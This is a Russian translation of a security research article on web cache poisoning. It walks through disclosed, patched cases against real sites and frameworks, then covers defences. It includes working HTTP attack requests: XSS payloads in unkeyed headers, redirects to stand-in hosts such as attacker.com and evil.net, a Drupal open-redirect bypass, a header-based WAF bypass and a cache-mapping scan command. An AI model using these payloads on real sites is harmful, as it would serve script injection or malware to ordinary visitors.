Web Cache Poisoning
Перевод статьи: James Kettle — Practical Web Cache Poisoning
Введение
Отравление веб-кэша (Web Cache Poisoning) долгое время было неуловимой уязвимостью, «теоретической» угрозой, используемой главным образом для того, чтобы напугать разработчиков, которое никто не мог использовать.
В этой статье я покажу вам, как скомпрометировать веб-сайты с помощью эзотерических веб-функций, чтобы превратить их кэши в системы доставки вирусов, предназначенные для всех, кто совершает ошибку, посещая их страницы.
Я проиллюстрирую и опишу эту технику с помощью уязвимостей, которые дали мне контроль над многочисленными популярными веб-сайтами и фреймворками, начиная от простых атак по одному запросу и заканчивая замысловатыми цепями эксплойтов, которые перехватывают JavaScript, перемещаются между слоями кэша, разрушают социальные сети и дезинформируют облачные сервисы. В завершение я расскажу о защите от отравления кешем.
Вы также можете посмотреть мою презентацию об этом исследовании или просмотреть ее в виде документа.
Основные понятия
Кеширование 101
Чтобы понять, что такое кеширование, нам нужно взглянуть на основы кеширования. Веб-кэши располагаются между пользователем и сервером приложений, где они сохраняют и обслуживают копии определенных ответов. На диаграмме ниже мы видим трех пользователей, выбирающих один и тот же ресурс один за другим:
Кэширование предназначено для ускорения загрузки страниц за счет уменьшения задержек, а также снижения нагрузки на сервер приложений. Некоторые компании размещают свой собственный кэш с помощью программного обеспечения, такого как Varnish, а другие предпочитают полагаться на сеть доставки контента (CDN), такую как Cloudflare, с кэшами, разбросанными по разным географическим местам. Кроме того, некоторые популярные веб-приложения и фреймворки, такие как Drupal, имеют встроенный кеш.
Существуют также другие типы кэшей, такие как клиентские кэши браузеров и DNS-кэши, но они не являются предметом данного исследования.
Ключи кеша
Концепция кеширования может показаться понятной и простой, но она скрывает некоторые рискованные предположения. Всякий раз, когда кеш получает запрос к ресурсу, ему необходимо решить, имеет ли он копию этого ресурса, и может его вернуть, или ему нужно переслать запрос на сервер приложений.
Определить, пытаются ли два запроса загрузить один и тот же ресурс, может быть сложно; Требование, чтобы запросы совпадали побайтно, абсолютно неэффективно, так как HTTP-запросы содержать много несущественных данных:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close
Кэши решают эту проблему, используя концепцию ключей кеша — выделяются несколько конкретных элементов HTTP-запроса, которые используются для полной идентификации запрашиваемого ресурса. В приведенном выше запросе я выделил значения, включенные в типичный ключ кэша.
Это означает, что кэши считают, что следующие два запроса эквивалентны, и с радостью ответят на второй запрос ответом, кэшированным с первого запроса:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
В результате страница будет отображаться на неправильном языке для второго посетителя. Это намекает на проблему — любое различие в ответе, вызванном вводом без ключа, может быть сохранено и передано другим пользователям. Теоретически, сайты могут использовать заголовок ответа «Vary», чтобы указать дополнительные заголовки запроса, которые должны быть снабжены ключами. На практике заголовок Vary используется только в зачаточном виде, CDN, такие как Cloudflare, полностью его игнорируют, и люди даже не осознают, что их приложение поддерживает работу на основе заголовков запросов.
Это вызывает большое количество случайных багов, но веселье только начнется, когда кто-то намеренно пытается использовать эту уязвимость.
Cache Poisoning (отравления веб-кэша)
Целью отравления веб-кэша является отправка запроса, который вызывает вредоносный ответ, который сохраняется в кэше и передается другим пользователям.
В этой статье мы собираемся отравить кеши, используя неключевые параметры (unkeyed inputs), такие как заголовки HTTP. Это не единственный способ отравления кешей — вы также можете использовать HTTP Response Splitting и Request Smuggling — но это самый надежный способ. Обратите внимание, что веб-кэши также позволяют использовать другой тип атаки, называемый Web Cache Deception, который не следует путать с отравлением кэша.
Методология
Мы будем использовать следующую методологию, чтобы найти уязвимости отравления кэша:
Вместо того, чтобы пытаться начать подробно рассказывать об этом, я дам вам краткий обзор, а затем продемонстрирую, как это применяется к реальным веб-сайтам.
Первым шагом является определение неключевых входных параметров (unkeyed inputs). Делать это вручную утомительно, поэтому я разработал расширение Burp Suite с открытым исходным кодом под названием Param Miner, которое автоматизирует этот шаг, угадывая имена заголовков/файлов cookie и отслеживая, влияют ли они на ответ приложения.
После нахождения unkeyed input следующим шагом нужно оценить, какой ущерб вы можете нанести с ними, а затем попытаться сохранить их в кеше. Если это не помогло, вам нужно лучше понять, как работает кэш, и выявить целевую страницу, которую можно кэшировать, перед повторной попыткой. Кэширование страницы может зависеть от множества факторов, включая расширение файла, тип контента, маршрут, код состояния и заголовки ответа.
Кэшированные ответы могут маскировать unkeyed inputs, поэтому, если вы пытаетесь вручную обнаружить или исследовать unkeyed inputs, решающее значение имеет очистка кеша. Если у вас загружен Param Miner, вы можете убедиться, что каждый запрос имеет уникальный ключ кэша, добавив параметр со значением $randomplz в строку запроса.
При проверке живого веб-сайта случайное отравление других посетителей представляет собой постоянную опасность. Param Miner смягчает это, добавляя кеш-буфер для всех исходящих запросов от Burp. Этот кеш-буфер имеет фиксированное значение, поэтому вы можете наблюдать за поведением кэширования, не влияя на других пользователей.
Тематические исследования
Давайте посмотрим, что происходит, когда данная методология применяется к реальным веб-сайтам. Как обычно, я исключительно нацелился на сайты с дружественными для исследователей политиками безопасности. Эти сайты были найдены с использованием исследовательского конвейера, документированного в Cracking the Lens: Targeting HTTP’s hidden attack-surface. О всех уязвимостях, обсуждаемых здесь, было сообщено владельцам сайтов и они были исправлены, хотя из-за «частных» программ я был вынужден изменить некоторые данные в нескольких их них.
Ответ от некоторых владельцев сайтов был смешанным; Unity исправила все быстро и хорошо вознаградила за работу, Mozilla, по крайней мере, быстро исправила, а другие, включая data.gov и Ghost, ничего не делали месяцами и исправляли только из-за угрозы предстоящей публикации.
Во многих из этих тематических исследований используются вторичные уязвимости, такие как XSS, в unkeyed input, и важно помнить, что без заражения кэша такие уязвимости бесполезны, поскольку нет надежного способа заставить другого пользователя отправлять настраиваемый заголовок по междоменному запросу.
Основы отравления
Несмотря на свою внушающую страх репутацию, отравление кэша часто очень легко использовать. Чтобы начать, давайте посмотрим на домашнюю страницу Red Hat. Param Miner на которой сразу же обнаружил unkeyed input:
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />
Здесь мы видим, что заголовок X-Forwarded-Host использовался приложением для генерации Open Graph URL внутри тега meta. Следующим шагом будет изучение возможности его использования — мы начнем с простого межсайтового скриптинга (cross-site scripting):
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
Выглядит хорошо — мы только что подтвердили, что можем вызвать ответ (response), который выполнит произвольный JavaScript для любого, кто его просматривает. Последний шаг — проверить, был ли этот ответ сохранен в кэше, чтобы его можно было доставить другим пользователям. Не позволяйте заголовку «Cache Control: no-cache» ввести вас в заблуждение — всегда лучше предпринять попытку атаки, чем заранее предположить, что она не будет работать.
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
Это было легко. Хотя в ответе нет заголовков, указывающих на наличие кэша, наш эксплойт был явно кэширован. Быстрый поиск в DNS предлагает объяснение — www.redhat.com является CNAME для www.redhat.com.edgekey.net, указывая, что он использует CDN Akamai.
Осторожное отравление
На данный момент мы доказали, что атака возможна путем отравления https://www.redhat.com/en?dontpoisoneveryone=1, чтобы избежать воздействия на реальных посетителей сайта. Чтобы фактически отравить домашнюю страницу блога и предоставить эксплойт всем последующим посетителям, нам нужно убедиться, что мы отправили первый запрос на домашнюю страницу после истечения срока действия ранее кэшированного ответа.
Это можно попытаться сделать с помощью такого инструмента, как Burp Intruder или пользовательского скрипта, для отправки большого количества запросов, но такой подход с генерацией интенсивного трафика вряд ли будет разумным. Злоумышленник может избежать этой проблемы, используя обратный инжиниринг целевой системы истечения срока действия кеша и прогнозирование точного времени истечения срока действия путем изучения документации и мониторинга сайта с течением времени, но это потребует много времени.
К счастью, многие сайты делают нашу жизнь проще. Возьмите эту уязвимость отравления кеша в unity3d.com:
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
У нас есть unkeyed input — заголовок X-Host, который используется для генерации скрипта. Заголовки ответа «Age» и «max-age» соответственно указывают возраст текущего ответа и время его истечения. Взятые вместе, они говорят нам точную секунду, когда мы должны отправить нашу цель, чтобы гарантировать, что наш ответ будет кэширован.
Выборочное отравление
Заголовки HTTP могут предоставить другую экономящую время информацию о внутренней работе кэшей. Возьмите следующий известный веб-сайт, который использует Fastly (известная облачная платформа ) и к сожалению не может быть назван:
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>
Изначально это выглядит практически идентично первому примеру. Однако заголовок Vary сообщает нам, что наш User-Agent может быть частью ключа кеша, и ручное тестирование подтверждает это. Это означает, что, поскольку мы заявили, что используем Firefox 60, наш эксплойт будет доступен только другим пользователям Firefox 60. Мы могли бы использовать список популярных пользовательских агентов, чтобы гарантировать, что большинство посетителей получат наш эксплойт, и такое поведение дало нам возможность более выборочных атак. При условии, что вы знаете их пользовательского агента, вы можете адаптировать атаку к конкретному человеку или даже скрыться от группы мониторинга сайта.
DOM Отравление
Использование unkeyed input не всегда так просто, как вставка полезной нагрузки XSS. Рассмотрим следующий запрос:
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-root="https://canary/">
В данном примере у нас есть контроль над атрибутом «data-site-root», но мы не можем использовать XSS, и неясно, для чего этот атрибут вообще используется. Чтобы выяснить это, я создал правило сопоставления и замены в Burp, чтобы добавить заголовок «X-Forwarded-Host: id.burpcollaborator.net» ко всем запросам, а затем просмотрел сайт. Когда некоторые страницы загружались, Firefox отправил сгенерированный JavaScript запрос на мой сервер:
GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
То есть где-то на сайте есть код JavaScript, использующий атрибут data-site-root, чтобы решить, откуда загрузить некоторые данные интернационализации. Я попытался выяснить, как должны выглядеть эти данные, загрузив https://catalog.data.gov/api/i18n/en, но просто получил пустой ответ JSON. К счастью, изменение «en» на «es» дает подсказку:
GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}
Файл содержит карту для перевода фраз на выбранный пользователем язык. Создав собственный файл перевода и используя отравление кэша, чтобы указать пользователям на это, мы можем перевести фразы в эксплойты:
GET /api/i18n/en HTTP/1.1
Host: portswigger-labs.net
HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}
Конечный результат? Любой, кто просматривал страницу, содержащую текст «Show more», будет взломан.
Взлом Mozilla SHIELD
Правило сопоставления/замены «X-Forwarded-Host», которое я настроил, чтобы помочь разобраться с последней уязвимостью, имело неожиданный побочный эффект. В дополнение к взаимодействиям из catalog.data.gov я еще кое что узнал:
GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
Ранее я сталкивался с «нулевым» origin в своем исследовании CORS vulnerability research, но никогда раньше не видел, чтобы браузер генерировал полностью строчный заголовок Origin. Поиск в журнале истории прокси показало, что виновником был сам Firefox. Firefox попытался получить необходимые ему данные как часть своей системы SHIELD для автоматической установки расширений в маркетинговых и исследовательских целях. Эта система, вероятно, наиболее известна тем, что принудительно распространяет расширение «Mr Robot», что вызывает значительную негативную реакцию пользователей.
В любом случае, похоже, что заголовок X-Forwarded-Host обманул эту систему и направил Firefox на мой собственный сайт для получения этих данных:
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
"action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
"action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
"recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
"recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
…
}
Данные имеют следующий формат:
[{
"id": 403,
"last_updated": "2017-12-15T02:05:13.006390Z",
"name": "Looking Glass (take 2)",
"action": "opt-out-study",
"addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
"filter_expression": "normandy.country in ['US', 'CA']\n && normandy.version >= '57.0'\n)",
"description": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]
Эта система использовала NGINX для кеширования, которая, естественно, была счастлива сохранить мой отравленный ответ и передать его другим пользователям. Firefox извлекает этот URL-адрес вскоре после открытия браузера, а также периодически обновляет его, что в конечном итоге означает, что все десятки миллионов ежедневных пользователей Firefox могут в конечном итоге получить данные с моего веб-сайта.
Это предложило довольно много возможностей. Данные, используемые Firefox, были подписаны, поэтому я не мог просто установить вредоносное дополнение и получить полное выполнение кода, но я мог направить десятки миллионов настоящих пользователей на URL-адрес по моему выбору. Помимо очевидного использования DDoS, это было бы чрезвычайно серьезно, если бы оно сочеталось с соответствующей уязвимостью повреждения памяти. Кроме того, некоторые бэкэнд-системы Mozilla используют неподписанные данные, которые потенциально могут быть использованы для того, чтобы закрепиться в глубине своей инфраструктуры и, возможно, получить ключ подписи. Кроме того, я мог бы воспроизвести старые данные по своему выбору, которые потенциально могли бы вызвать массовую установку старого известного уязвимого расширения или неожиданное возвращение Mr Robot.
Я сообщил об этом в Mozilla, и они исправили свою инфраструктуру менее чем за 24 часа, но были некоторые разногласия по поводу серьезности, поэтому за нахождение этой уязвимости было выплачено только 1000 долларов.
Отравление маршрутизации запросов
Некоторые приложения глупо используют заголовки для генерации URL-адресов и глупо используют их для внутренней маршрутизации запросов:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
Goodhire.com, очевидно, хоститься на HubSpot, и HubSpot и отдает приоритет заголовку X-Forwarded-Server над заголовком Host и постоянно путается в том, для какого клиента предназначен этот запрос. Хотя наш ввод отражается на странице, он закодирован в HTML, поэтому прямая атака XSS здесь не работает. Чтобы воспользоваться этим, нам нужно перейти на hubspot.com, зарегистрироваться в качестве клиента HubSpot, разместить полезную нагрузку на нашей странице HubSpot, а затем, наконец, обмануть HubSpot, чтобы он обслуживал этот ответ на goodhire.com:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>
Cloudflare с радостью кешировал этот ответ и передал его последующим посетителям.
Подобные внутренние уязвимости особенно распространены в приложениях SaaS, где существует единая система обработки запросов, предназначенная для множества разных клиентов.
Скрытое отравление маршрутизации
Уязвимости отравления маршрутов не всегда так очевидны:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary
HTTP/1.1 302 Found
Location: https://ghost.org/fail/
Блог Cloudflare поддерживаемый Ghost, который явно что-то делает с заголовком X-Forwarded-Host. Вы можете избежать перенаправления ‘fail’, указав другое распознанное имя хоста, например blog.binary.com, но это просто приводит к загадочной 10-секундной задержке, за которой следует стандартный ответ blog.cloudflare.com. На первый взгляд, нет ясного способа использовать это.
Когда пользователь впервые регистрирует блог в Ghost, он получает его с уникальным поддоменом в ghost.io. Когда блог запущен, пользователь может определить произвольный пользовательский домен, например blog.cloudflare.com. Если пользователь определил пользовательский домен, его поддомен ghost.io просто перенаправит на него:
GET / HTTP/1.1
Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
Важно отметить, что это перенаправление также может быть запущено с помощью заголовка X-Forwarded-Host:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
Зарегистрировав собственную учетную запись в ghost.org и настроив собственный домен, я мог перенаправить запросы, отправленные на blog.cloudflare.com, на свой собственный сайт: waf.party. Это означает, что я могу перехватить загрузку ресурсов например изображений:
Следующий логический шаг перенаправления загрузки JavaScript для получения полного контроля над blog.cloudflare.com был сорван случайной ошибкой — если вы внимательно посмотрите на перенаправление, вы увидите, что он использует HTTP, тогда как блог загружается по HTTPS. Это привело к тому, что включалась защита от смешанного содержимого в браузерах и она заблокировала перенаправления скриптов и стилей.
Я не мог найти никакого способа заставить Ghost создавать перенаправление HTTPS, и у меня возник соблазн отказаться от дальнейших попыток и сообщить об использовании HTTP, а не HTTPS, в качестве уязвимости в надежде, что они исправят это для меня. В конце концов я решил краудсорсировать решение, сделав копию проблемы и поместив ее в hackxor с приложенным денежным призом. Первое решение было найдено Sajjad Hashemian, который обнаружил, что в Safari, если waf.party находится в кэше HSTS браузера, перенаправление будет автоматически обновлено до HTTPS, а не заблокировано. Sam Thomas разработал решение для Edge, основанное на работе Manuel Caballero — проблеме перенаправления 302 на URL-адрес HTTPS полностью обходит защиту смешанного содержимого в Edge
В целом, против пользователей Safari и Edge я мог полностью скомпрометировать каждую страницу на blog.cloudflare.com, blog.binary.com и любой другой клиент ghost.org. Против пользователей Chrome/Firefox я мог просто заменить изображения. Несмотря на то, что я использовал Cloudflare для скриншота выше, так как это было проблемой в сторонней системе, я решил сообщить об этом через Binary, потому что их программа вознаграждения за ошибки платит деньги, в отличие от Cloudflare.
Цепочка Unkeyed Inputs
Иногда unkeyed input может привести к путанице только в части стека приложения, и вам потребуется объединить в цепочку другие unkeyed input, чтобы получить пригодный для использования результат. Возьмите следующий сайт:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
Заголовок X-Forwarded-Host позволяет переопределить домен в cookie. Само по себе это бесполезно. Тем не менее, есть еще один unkeyed input:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
Эти данные также бесполезны сами по себе, но если мы объединяем их вместе, мы можем преобразовать ответ в перенаправление на произвольный домен:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en
Используя эту технику, можно было украсть CSRF tokens из пользовательского заголовка HTTP, перенаправив POST запрос. Я также мог получить хранимый XSS на основе DOM со злонамеренным ответом на загрузку JSON, аналогично уязвимости data.gov, упомянутой ранее.
Взлом Open Graph
На другом сайте unkeyed input затрагивал исключительно URL-адреса Open Graph:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>
Open Graph — это протокол, созданный Facebook, который позволяет владельцам сайтов определять, что должно происходить, когда их контент публикуется в социальных сетях. Параметр og:url, который мы здесь перехватили, эффективно переопределяет URL-адрес, который становится доступным, поэтому любой, кто поделится зараженной страницей, на самом деле заканчивает тем, что делится контентом по моему выбору.
Как вы могли заметить, приложение устанавливает «Cache-Control: private», и Cloudflare отказывается кэшировать такие ответы. К счастью, другие страницы сайта явно позволяют подобное кеширование:
GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS
Заголовок «CF-Cache-Status» здесь является индикатором того, что Cloudflare рассматривает возможность кэширования этого ответа, но, несмотря на это, ответ никогда не кэшировался. Я предположил, что отказ Cloudflare кешировать может быть связан с cookie session_id, и повторил попытку с этим cookie:
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url"
content='https://attacker.com/…
Это, наконец, привело к кешированию ответа, хотя позже оказалось, что я мог бы не гадать и вместо этого прочитать документацию кеша Cloudflare.
Несмотря на то, что ответ был кэширован, результат все еще оставался не отравленным; Очевидно, что на Facebook не попал тот кеш Cloudflare, который я отравил. Чтобы определить, какой кеш мне нужно отравить, я воспользовался полезной функцией отладки, присутствующей на всех сайтах Cloudflare — /cdn-cgi/trace:
Здесь строка colo=AMS показывает, что Facebook получил доступ к waf.party через кеш в Амстердаме. Доступ к веб-сайту осуществлялся через Atlanta, поэтому я арендовал там VPS за 2 доллара в месяц и снова попытался отравить кеш:
После этого любой, кто попытался поделиться различными страницами на своем сайте, в конечном итоге поделится контентом по моему выбору. Вот сильно отредактированное видео атаки:
Отравление локального маршрута
До сих пор мы видели перехват параметра language на основе cookie и множества атак с использованием различных заголовков переопределяющих хост. На этом этапе исследования я также обнаружил несколько вариантов, использующих причудливые нестандартные заголовки, такие как «translate», «bucket» и «path_info». Мое следующее значительное улучшение в исследование произошло после того, как я расширил список слов заголовков, загрузив и изучив 20 000 лучших PHP-проектов на GitHub для названий заголовков.
Это выявило заголовки X-Original-URL и X-Rewrite-URL, которые переопределяют путь запроса. Я впервые заметил, что они влияют на сайты, работающие на Drupal, и копаясь в коде Drupal, выяснилось, что поддержка этого заголовка исходит от популярной PHP-платформы Symfony, которая, в свою очередь, взяла код от Zend. Конечным результатом является то, что огромное количество PHP-приложений невольно поддерживают эти заголовки. Прежде чем мы попытаемся использовать эти заголовки для отравления кэша, я должен отметить, что они также отлично подходят для обхода WAF и правил безопасности:
GET /admin HTTP/1.1
Host: unity.com
HTTP/1.1 403 Forbidden
...
Access is deniedGET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin
HTTP/1.1 200 OK
...
Please log in
Если приложение использует кеш, то эти заголовки могут быть использованы, чтобы запутать сервер для получения неверных страниц. Например, этот запрос имеет ключ кеша /education?x=y, но извлекает контент из /gambling?x=y:
Конечный результат заключается в том, что после отправки этого запроса любой, кто пытается получить доступ к странице Unity for Education, получает сюрприз:
Способность переключать страницы более забавна, чем серьезна, но, возможно, она может быть использована в более крупной цепочке эксплойтов.
Внутреннее отправление кеша
Drupal часто используется со сторонними кешами, такими как Varnish, но он также содержит внутренний кеш, который включен по умолчанию. Этот кеш знает заголовок X-Original-URL и включает его в свой ключ кеша, но допускает ошибку, включая строку запроса из этого заголовка:
В то время как предыдущая атака позволила нам заменить путь другим путем, этот позволяет переопределить строку запроса:
GET /search/node?keys=kittens HTTP/1.1
HTTP/1.1 200 OK
…
Search results for 'snuff'
Это более многообещающе, но все еще весьма ограничено — нам нужен третий ингредиент.
Drupal Open Redirect
Читая код переопределения URL в Drupal, я заметил крайне рискованную функцию — во всех ответах на перенаправление вы можете переопределить цель перенаправления, используя параметр запроса ‘destination’. Drupal пытается выполнить синтаксический анализ некоторых URL-адресов, чтобы гарантировать, что он не будет перенаправлен на внешний домен, но это, очевидно, легко обойти:
GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
Drupal видит двойную косую черту // в пути и пытается выполнить перенаправление на /, чтобы нормализовать его, но затем включается параметр destination. Drupal считает, что URL назначения сообщает людям доступ к unity.com с именем пользователя evil.net\ , но на практике веб-браузеры автоматически преобразуют \ в /, отправляя пользователей на evil.net/@unity.com.
Еще раз, само по себе открытое перенаправление вряд ли интересно, но теперь у нас наконец есть все строительные блоки для серьезного использования.
Постоянный взлом перенаправления
Мы можем объединить атаку переопределения параметра с Open Redirect, чтобы постоянно перехватывать любое перенаправление. На некоторых страницах сайта Pinterest происходит импорт JavaScript с помощью перенаправления. Следующий запрос отравляет запись в кэше, показанную синим цветом, с параметром, показанным оранжевым:
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1
Этот взлом destination, дает мне полный контроль над несколькими страницами на business.pinterest.com, которые должны быть статическими:
GET /foo.js?v=1 HTTP/1.1
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
Вложенное отправление кеша
Другие сайты Drupal менее обязательны и не импортируют важные ресурсы через перенаправления. К счастью, если сайт использует внешний кеш (как практически все сайты с большим трафиком на Drupal), мы можем использовать внутренний кеш, чтобы отравить внешний кеш, и в процессе конвертировать любой ответ в перенаправление. Это двухэтапная атака. Во-первых, мы отравляем внутренний кеш, чтобы заменить/перенаправить с помощью нашего вредоносного перенаправления:
GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
Далее мы отравляем внешний кеш, чтобы заменить /download?v=1 нашим предварительно отравленным /redir:
GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
Конечный результат заключается в том, что нажатие «Download installer» на unity.com приведет к загрузке некоторых вредоносных программ с сайта evil.net. Этот метод также может быть использован для множества других атак, включая вставку поддельных записей в RSS-каналы, замену страниц входа в систему фишинговыми страницами и сохранение XSS с помощью динамического импорта скриптов.
Вот видео одной из таких атак на стандартную установку Drupal:
Эта уязвимость была раскрыта командам Drupal, Symfony и Zend в 2018-05-29, и поддержка этих заголовков была отключена посредством скоординированного выпуска патча в 2018-08-01 со следующими ссылками: SA-CORE-2018-005, CVE-2018-14773, ZF2018-01.
Cross-Cloud отравление
Как вы, наверное, догадались, некоторые из этих отчетов об уязвимостях вызвали интересные реакции.
Один из экспертов, оценивающих мою отправку с использованием CVSS, дал отчету об отравлении кеша CloudFront сложность выполнения «высокий», поскольку злоумышленнику может понадобиться арендовать несколько VPS, чтобы отравить все кеши CloudFront. Не поддаваясь искушению спорить о том, что представляет собой «высокую» сложность, я использовал это как возможность исследовать, возможны ли межрегиональные атаки без использования VPS.
Оказалось, что у CloudFront есть полезная карта их кэшей, и их IP-адреса можно легко идентифицировать с помощью бесплатных онлайн-сервисов, которые выдают DNS-запросы из различных географических местоположений. Отравить определенный регион, не выходя из своей спальни, так же просто, как направить атаку на один из этих IP-адресов, используя функции переопределения имени хоста curl/Burp.
Поскольку у Cloudflare большое количество региональных кешей, я решил посмотреть и на них. Cloudflare публикует список всех своих IP-адресов в Интернете, поэтому я написал быстрый скрипт для запроса waf.party/cgn-cgi/trace через каждый из этих IP-адресов и записи, какой кеш я использовал:
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'
Это показало, что при таргетинге на waf.party (который находится в Ирландии) я мог получить доступ к следующим кешам из моего дома в Манчестере:
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS
172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP
172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
Защита
Самая надежная защита от отравления кэша — отключение кэширования. Для большинства это просто нереалистичный совет, но я подозреваю, что довольно много веб-сайтов начинают использовать такой сервис, как Cloudflare для защиты от DDoS или простого SSL, и в конечном итоге становятся уязвимыми для отравления кеша просто потому, что кеширование включено по умолчанию.
Ограничение кеширования чисто статическими ответами также эффективно, если вы достаточно осторожно относитесь к тому, что вы определяете как ‘static’.
Аналогичным образом, предотвращение получения входных данных от заголовков и файлов cookie является эффективным способом предотвращения заражения кэша, но трудно понять, содержать ли другие уровни и фреймворки возможность изменения дополнительных заголовков. В связи с этим я рекомендую проводить аудит каждой страницы вашего приложения с помощью Param Miner для выявления unkeyed inputs.
Как только вы определили unkeyed inputs в своем приложении, идеальным решением будет их полное отключение. В противном случае вы можете удалить inputs на уровне кэша или добавить их в ключ кэша. Некоторые кэши позволяют использовать Vary header для unkeyed inputs, а другие позволяют вам определять пользовательские ключи кэша, но могут ограничивать эту функцию для «корпоративных» клиентов.
Наконец, независимо от того, имеет ли ваше приложение кеш, некоторые из ваших клиентов могут иметь кеш у себя в инфраструктуре, и поэтому такие уязвимости как XSS в заголовках HTTP никогда не следует игнорировать.
Заключение
Отравление веб-кэша — далеко не теоретическая уязвимость, и раздутые приложения могут сами того не подозревая доставить его в массы. Мы видели, что даже хорошо известные фреймворки могут скрывать опасные вездесущие функции, подтверждая, что никогда не безопасно предполагать, что кто-то другой прочитал исходный код только потому, что приложение с открытым исходным кодом и им пользуются миллионы пользователей. Мы также видели, как размещение кэша перед веб-сайтом может сделать его полностью безопасным или критически уязвимым. Я думаю, что это является частью большей тенденции, когда веб-сайты все больше и больше укрываются во вспомогательных системах, и их безопасность все труднее адекватно оценить.
Наконец, я поставил перед людьми небольшую задачу проверить свои знания и с нетерпением жду возможности увидеть, когда другие исследователи будут отравлять веб-кеш в будущем.
Дальнейшие исследования по этой теме можно найти в моем последующем сообщении «Bypassing Web Cache Poisoning Countermeasures».
Обновление 2020: мы выпустили шесть бесплатных интерактивных лабораторий, чтобы вы могли сами попробовать отравить веб-кеш в рамках нашей Академии веб-безопасности: